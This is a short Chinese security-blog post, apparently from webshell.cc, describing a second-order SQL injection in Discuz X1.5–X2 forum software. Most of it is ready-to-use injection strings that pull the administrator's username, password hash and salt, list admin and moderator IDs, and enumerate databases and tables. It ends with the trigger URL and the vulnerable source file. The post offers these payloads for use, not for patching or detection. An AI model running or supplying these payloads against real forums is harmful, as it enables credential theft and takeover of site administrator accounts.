Discuz x1.5 – x2版本 二次注射

分类:安全 | 2012-01-15 | 撸过 73 次
0人扯谈

a’,`subject`=(/*!select*/ concat(username,’|’,password,’|’,salt) from pre_ucenter_members where uid=1 limit 0,1),comment=’

再给出一些语句。

‘,`subject`=(/*!select*/ group_concat(uid,’:’) from pre_common_member where groupid=1),comment=’//查看管理用户
‘,`subject`=(/*!select*/ group_concat(uid,’:’) from pre_common_member where groupid=2),comment=’//超级版主
‘,`subject`=(/*!select*/ group_concat(uid,’:’) from pre_common_member where groupid=3),comment=’//超级版主
‘,`subject`=(/*!select*/ table_name from information_schema.tables where table_schema=0x0000 limit 0,1),comment=’//跑表
‘,`subject`=(/*!select*/ group_concat(schema_name) from information_schema.schemata),comment=’//获取所有库
‘,`subject`=(/*!select*/ concat(@@version,’:’,user(),’:’,database())),comment=’//版本信息

然后到回复补充那里随便补充一下,注入语句就被执行。
补充的地址:

forum.php?mod=misc&tid={tid}&action=postappend&pid={pid}

上面的语句就会把取得的内容写进回复主题返回。
漏洞文件:
source\module\forum\forum_misc.php

本站内容均为原创,转载请务必保留署名与链接!
Discuz x1.5 – x2版本 二次注射:https://www.webshell.cc/2514.html
标签:

相关日志